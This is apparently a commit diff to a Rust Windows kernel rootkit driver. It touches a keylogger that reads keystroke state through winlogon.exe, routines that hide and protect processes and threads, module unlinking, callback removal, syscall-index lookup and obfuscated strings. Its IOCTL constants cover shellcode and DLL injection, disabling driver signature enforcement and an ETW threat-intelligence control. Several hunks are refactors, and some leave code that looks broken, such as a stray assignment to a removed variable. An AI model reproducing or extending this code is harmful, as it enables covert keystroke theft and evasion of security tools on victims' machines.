let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
return Some(gaf_async_key_state as PVOID);
}
None
} }
/// Sets the keylogger status. /// Sets the keylogger status.

View File

@@ -1,4 +1,3 @@
// pub mod etw; pub mod etwti;
pub mod keylogger; pub mod keylogger;
pub mod ioctls; pub mod ioctls;
// pub mod memory;

View File

@@ -158,7 +158,7 @@ impl Module {
return Err(STATUS_UNSUCCESSFUL); return Err(STATUS_UNSUCCESSFUL);
} }
let dll_name = alloc::string::String::from_utf16_lossy(&buffer); let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if module_name.contains(&dll_name.to_lowercase()) { if module_name.contains(&dll_name.to_lowercase()) {
// Removes the module from the load order list // Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks); Self::remove_link(&mut (*list_entry).InLoadOrderLinks);

View File

@@ -32,13 +32,11 @@ static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
/// ///
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS { pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
let pid = unsafe { (*process).pid }; let pid = unsafe { (*process).pid };
let status = if unsafe { (*process).enable } { if unsafe { (*process).enable } {
add_target_pid(pid) add_target_pid(pid)
} else { } else {
remove_target_pid(pid) remove_target_pid(pid)
}; }
status
} }
/// Method for adding the list of processes that will have anti-kill / dumping protection. /// Method for adding the list of processes that will have anti-kill / dumping protection.

View File

@@ -177,7 +177,7 @@ impl Process {
/// Toggles the enumeration between hiding or protecting processes based on the options provided. /// Toggles the enumeration between hiding or protecting processes based on the options provided.
/// ///
/// # Arguments /// # Parameters
/// - `input_target`: Pointer to the enumeration information input structure. /// - `input_target`: Pointer to the enumeration information input structure.
/// - `info_process`: Information structure of processes. /// - `info_process`: Information structure of processes.
/// - `information`: Pointer to a variable to store information size. /// - `information`: Pointer to a variable to store information size.
@@ -186,23 +186,19 @@ impl Process {
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
/// ///
pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS { pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
let status;
match (*input_target).options { match (*input_target).options {
Options::Hide => { Options::Hide => {
status = Self::enumerate_hide_processes(info_process, information); Self::enumerate_hide_processes(info_process, information)
}, },
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
Options::Protection => { Options::Protection => {
status = callback::enumerate_protection_processes(info_process, information); callback::enumerate_protection_processes(info_process, information)
}, },
#[cfg(feature = "mapper")] #[cfg(feature = "mapper")]
Options::Protection => { Options::Protection => {
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST; wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
}, },
} }
status
} }
/// Enumerate Processes Hide. /// Enumerate Processes Hide.

View File

@@ -234,10 +234,6 @@ pub unsafe fn enumerate_value_key(
/// Trait for accessing the object in registry information. /// Trait for accessing the object in registry information.
pub trait RegistryInfo { pub trait RegistryInfo {
///
///
///
///
fn get_object(&self) -> *mut c_void; fn get_object(&self) -> *mut c_void;
} }

View File

@@ -28,13 +28,11 @@ static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
/// - `NTSTATUS`: A status code indicating the success or failure of the operation. /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS { pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
let tid = unsafe { (*process).tid }; let tid = unsafe { (*process).tid };
let status = if unsafe { (*process).enable } { if unsafe { (*process).enable } {
add_target_tid(tid) add_target_tid(tid)
} else { } else {
remove_target_tid(tid) remove_target_tid(tid)
}; }
status
} }
/// Method for adding the list of threads that will have anti-kill / dumping protection. /// Method for adding the list of threads that will have anti-kill / dumping protection.

View File

@@ -64,13 +64,11 @@ impl Thread {
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS { pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS {
let status = if (*thread).enable { if (*thread).enable {
Self::hide_thread(thread) Self::hide_thread(thread)
} else { } else {
Self::unhide_thread(thread) Self::unhide_thread(thread)
}; }
status
} }
/// Hides a thread by removing it from the list of active threads. /// Hides a thread by removing it from the list of active threads.
@@ -220,23 +218,19 @@ impl Thread {
/// - `NTSTATUS`: A status code indicating the success or failure of the operation. /// - `NTSTATUS`: A status code indicating the success or failure of the operation.
/// ///
pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS { pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
let status;
match (*input_target).options { match (*input_target).options {
Options::Hide => { Options::Hide => {
status = Self::enumerate_hide_threads(info_process, information); Self::enumerate_hide_threads(info_process, information)
}, },
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
Options::Protection => { Options::Protection => {
status = enumerate_protection_threads(info_process, information); enumerate_protection_threads(info_process, information)
}, },
#[cfg(feature = "mapper")] #[cfg(feature = "mapper")]
Options::Protection => { Options::Protection => {
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST; status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
}, },
} }
status
} }
} }

View File

@@ -1,15 +1,11 @@
use { use {
obfstr::obfstr, obfstr::obfstr,
ntapi::ntzwapi::ZwQuerySystemInformation, ntapi::ntzwapi::ZwQuerySystemInformation,
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach}, wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED},
crate::{process::Process, utils::SystemModuleInformation}, crate::{process::Process, utils::SystemModuleInformation},
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
wdk_sys::{ super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
NT_SUCCESS, POOL_FLAG_NON_PAGED, winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
},
winapi::um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64
}
}; };
/// Gets the base address of a specified module. /// Gets the base address of a specified module.
@@ -99,16 +95,8 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. /// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
/// ///
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let pid = match get_process_by_name(obfstr!("winlogon.exe")) { let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
Some(p) => p, let target = Process::new(pid)?;
None => return None
};
let target = match Process::new(pid) {
Some(p) => p,
None => return None
};
let attach_process = ProcessAttach::new(target.e_process); let attach_process = ProcessAttach::new(target.e_process);
let dll_base = dll_base as usize; let dll_base = dll_base as usize;

View File

@@ -1,5 +1,6 @@
use { use {
obfstr::obfstr, obfstr::obfstr,
handles::Handle,
pool::PoolMemory, pool::PoolMemory,
process_attach::ProcessAttach, process_attach::ProcessAttach,
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process}, crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
@@ -10,7 +11,6 @@ use {
ptr::{null_mut, read_unaligned}, ptr::{null_mut, read_unaligned},
slice::from_raw_parts slice::from_raw_parts
}, },
handles::Handle,
ntapi::{ ntapi::{
ntexapi::{ ntexapi::{
SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION
@@ -177,7 +177,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
return None; return None;
} }
let dll_name = alloc::string::String::from_utf16(&buffer).ok()?; let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if dll_name.to_lowercase().contains(module_name) { if dll_name.to_lowercase().contains(module_name) {
let dll_base = (*list_entry).DllBase as usize; let dll_base = (*list_entry).DllBase as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER; let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
@@ -379,7 +379,7 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
return Err(status); return Err(status);
} }
return Ok(shellcode) Ok(shellcode)
} }
/// Responsible for returning information on the modules loaded. /// Responsible for returning information on the modules loaded.

View File

@@ -1,19 +1,39 @@
use { use {
obfstr::obfstr, obfstr::obfstr,
super::{address::get_module_base_address, InitializeObjectAttributes}, super::{
address::get_module_base_address,
InitializeObjectAttributes,
},
core::{ core::{
ffi::{c_void, CStr}, mem::{size_of, zeroed}, ffi::{c_void, CStr}, mem::{size_of, zeroed},
ptr::{null_mut, read}, slice::from_raw_parts ptr::{null_mut, read}, slice::from_raw_parts
}, },
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
wdk_sys::{ wdk_sys::{
NT_SUCCESS, ntddk::{
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection}, ZwClose, ZwMapViewOfSection, ZwOpenSection,
ZwUnmapViewOfSection
},
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ, LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, NT_SUCCESS
},
winapi::um::winnt::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
}, },
}; };
fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> Result<T, &'static str> {
if slice.len() != N {
return Err("Slice length mismatch");
}
// Converts the slice to an array of N bytes
let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?;
// Converts the byte array to the desired type
Ok(func(array))
}
/// Scans memory for a specific pattern of bytes in a specific section. /// Scans memory for a specific pattern of bytes in a specific section.
/// # Parameters /// # Parameters
/// - `base_addr`: The base address (in `usize` format) from which the scan should start. /// - `base_addr`: The base address (in `usize` format) from which the scan should start.
@@ -23,29 +43,30 @@ use {
/// # Returns /// # Returns
/// - `Option<*const u8>`: The address of the target function if found. /// - `Option<*const u8>`: The address of the target function if found.
/// ///
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> { pub unsafe fn scan_for_pattern<T, const N: usize>(
let dos_header = base_addr as *const IMAGE_DOS_HEADER; function_address: *mut c_void,
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; pattern: &[u8],
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER; offset: usize,
final_offset: isize,
size: usize,
func: fn([u8; N]) -> T,
) -> Option<*mut u8>
where
T: Into<i64>,
{
let function_bytes = from_raw_parts(function_address as *const u8, size);
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) {
let section = (*section_header.add(i)).Name; let position = x + offset;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0'); let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?;
if name == section_name { let address = function_address.cast::<u8>().offset(x as isize);
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize; let next_address = address.offset(final_offset);
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize; Some(next_address.offset(offset.into() as isize))
let data = core::slice::from_raw_parts(section_start as *const u8, section_size); } else {
if let Some(offset) = data.windows(pattern.len()).position(|window| {
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some((section_start + offset) as *const u8);
}
}
}
None None
} }
}
/// Finds the address of a specified Zw function. /// Finds the address of a specified Zw function.
/// ///
@@ -96,7 +117,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
} }
} }
return None None
} }
/// Retrieves the syscall index for a given function name. /// Retrieves the syscall index for a given function name.
@@ -151,9 +172,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize; let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name { if name == function_name && read(address) == 0x4C
if read(address) == 0x4C
&& read(address.add(1)) == 0x8B && read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1 && read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8 && read(address.add(3)) == 0xB8
@@ -169,9 +188,8 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
return Some(ssn); return Some(ssn);
} }
} }
}
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle); ZwClose(section_handle);
return None None
} }

View File

@@ -31,6 +31,9 @@ pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_N
// Keylogger // Keylogger
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
// ETWTI
pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
// Callbacks // Callbacks
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
@@ -52,4 +55,3 @@ pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN,
pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -36,6 +36,13 @@ pub struct Keylogger {
pub enable: bool pub enable: bool
} }
// ETWTI
#[repr(C)]
#[derive(Debug)]
pub struct ETWTI {
pub enable: bool
}
// Input for information that needs to be listed // Input for information that needs to be listed
#[repr(C)] #[repr(C)]
pub struct EnumerateInfoInput { pub struct EnumerateInfoInput {